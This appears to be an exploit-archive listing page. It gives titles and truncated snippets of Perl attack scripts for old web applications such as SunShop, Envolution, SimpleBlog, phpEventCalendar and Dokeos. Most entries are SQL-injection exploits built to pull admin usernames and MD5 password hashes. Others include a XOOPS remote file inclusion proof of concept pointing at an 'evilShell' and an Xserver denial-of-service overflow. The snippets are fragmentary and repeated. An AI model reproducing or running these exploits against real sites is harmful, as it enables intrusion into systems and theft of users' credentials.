SunShop Shopping Cart 4.0 RC 6 - 'Search' Blind SQL Injection

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print "\n \'/ "; print "\n -.- "; print "\n -----------------oOO------OOo------------------"; print "\n | SunShop v4.0 RC 6 search Blind SQL Injection |"; print "\n | k1tk4t - Indonesia - newhackdotorg |"; print "\n | coded by DNX...

envolution-sql.txt

!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /./ or err; print "\n + Username:Passwordmd5 member id = $usid \n"; print "\n $1 \n\n"; sub usage print "\n"; print " newhackdotorg \n"; print "\n"; print " Envolution = v1.1.0 Remote SQL Injection \n";...

Envolution <= 1.1.0 (topic) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV 3 usage; exit; $site = $ARGV0; Site Target $path = $ARGV1; Path direktori envolution1-0-1 $usid = $ARGV2; member id $www = new LWP::UserAgent; $sql =...

Envolution 1.1.0 - 'topic' SQL Injection

!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /./ or err; print "\n + Username:Passwordmd5 member id = $usid \n"; print "\n $1 \n\n"; sub usage print "\n"; print " newhackdotorg \n"; print "\n"; print " Envolution = v1.1.0 Remote SQL Injection \n";...

paBugs 2.0 Beta 3 - main.php?cid SQL Injection

paBugs 2.0 Beta 3 - main.php?cid SQL Injection !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /0-9,a-f32/ or err; print "\n + Admin Passwordmd5=$usid is: $1 \n\n"; sub usage print "---------------------------------------------------------\n"; print ...

SimpleBlog 3.0 (comments_get.asp id) Remote SQL Injection Vulnerability

No description provided by source. !/usr/bin/perl ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ SimpleBlog 3.0 commentsget.asp Remote SQL Injection code by TrinTiTTY at g00ns.net Vulnerability by MurderSkillz &nbs...

SimpleBlog 3.0 - comments_get.asp?id SQL Injection

SimpleBlog 3.0 - commentsget.asp?id SQL Injection !/usr/bin/perl ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ SimpleBlog 3.0 commentsget.asp Remote SQL Injection code by TrinTiTTY at g00ns.net Vulnerability by MurderSkillz shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox...

SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection

!/usr/bin/perl ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ SimpleBlog 3.0 commentsget.asp Remote SQL Injection code by TrinTiTTY at g00ns.net Vulnerability by MurderSkillz shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox, Canuck, a59, sess, bernard, + the rest of g00ns...

Xserver 0.1 Alpha - POST Remote Buffer Overflow (PoC)

Xserver 0.1 Alpha - POST Remote Buffer Overflow PoC !/usr/bin/perl | | | | | | / |/ \ | | / |/ / | ' / | | '| | | |/ | | | | | / || \ \ | | | | \ \ || | | || | | | ,||,|/\/|| ||/|| ,||| d.e.u.s..c.o.n.s.t.r.u.c.t Type - Proof-of-Concept P0C Remote DoS Buffer Overflow App - Xserver 0.1...

Xserver 0.1 Alpha - 'POST' Remote Buffer Overflow (PoC)

!/usr/bin/perl | | | | | | / |/ \ | | / |/ / | ' / | | '| | | |/ | | | | | / || \ \ | | | | \ \ || | | || | | | ,||,|/\/|| ||/|| ,||| d.e.u.s..c.o.n.s.t.r.u.c.t Type - Proof-of-Concept P0C Remote DoS Buffer Overflow App - Xserver 0.1 Alpha URL - http://sourceforge.net/projects/xserver/...

iG Shop 1.4 eval Inclusion Vulnerability

No description provided by source. !/usr/bin/perl -w use LWP::UserAgent; iG Shop 1.4 eval Inclusion Vulnerability found by IFX nyubicrew Vulnerability on page.php if !$action $action = "make"; // here the function will be called. eval "page$action;"; die "Example: perl $0...

phpEventCalendar <= 0.2.3 (eventdisplay.php) SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================== phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin";...

phpEventCalendar 0.2.3 - eventdisplay.php SQL Injection

phpEventCalendar 0.2.3 - eventdisplay.php SQL Injection !/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin";...

phpeventcal-sql.txt

!/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin"; chomp$targetid=; $target .=...

phpEventCalendar 0.2.3 - 'eventdisplay.php' SQL Injection

!/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin"; chomp$targetid=; $target .=...

xoops101-rfi.txt

!/usr/bin/perl sub header print q ========================================================================= XOOPS modules xfsection 1.01 =Remote File Inclusion Exploit Exploit Coded by fl0 fl0w floflowsupremacyatyahoodotcom PoC:http://site.com/modules/xfsection/modify.php?dirmodule=evilShell?...

igshop14-eval.txt

!/usr/bin/perl -w use LWP::UserAgent; iG Shop 1.4 eval Inclusion Vulnerability found by IFX nyubicrew Vulnerability on page.php if !$action $action = "make"; // here the function will be called. eval "page$action;"; die "Example: perl $0 http://www.planetgolfuk.co.uk/shop\n" unless @ARGV; $b =...

fuzzy-sql.txt

!/usr/bin/perl -w Fuzzylime Forum 1.0 SQL Injection Exploit Discovered by: Silentz Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code low.php: $gettopicid = mysqlquery"SELECT FROM $tableprefixthreads WHERE threadid='$GETtopic'"; PoC:...

comicsense02-sql.txt

!/usr/bin/perl -w ComicSense 0.2 SQL Injection Exploit Discovered by: s0cratex Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Original Advisory: http://seclists.org/bugtraq/2007/Jun/0063.html http://milw0rm.com/exploits/4035 Vulnerable Code index.php: $sqlQuery = "SELECT...

Dokeos 1.8.0 - 'my_progress.php?course' SQL Injection

!/usr/bin/perl -w Dokeos = 1.8.0 SQL Injection Exploit Discovered by: Silentz Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code myprogress.php: ifisset$GET'course' $sqlInfosCourse = "SELECT course.code, course.title,course.dbname,CONCATuser.firstname,'...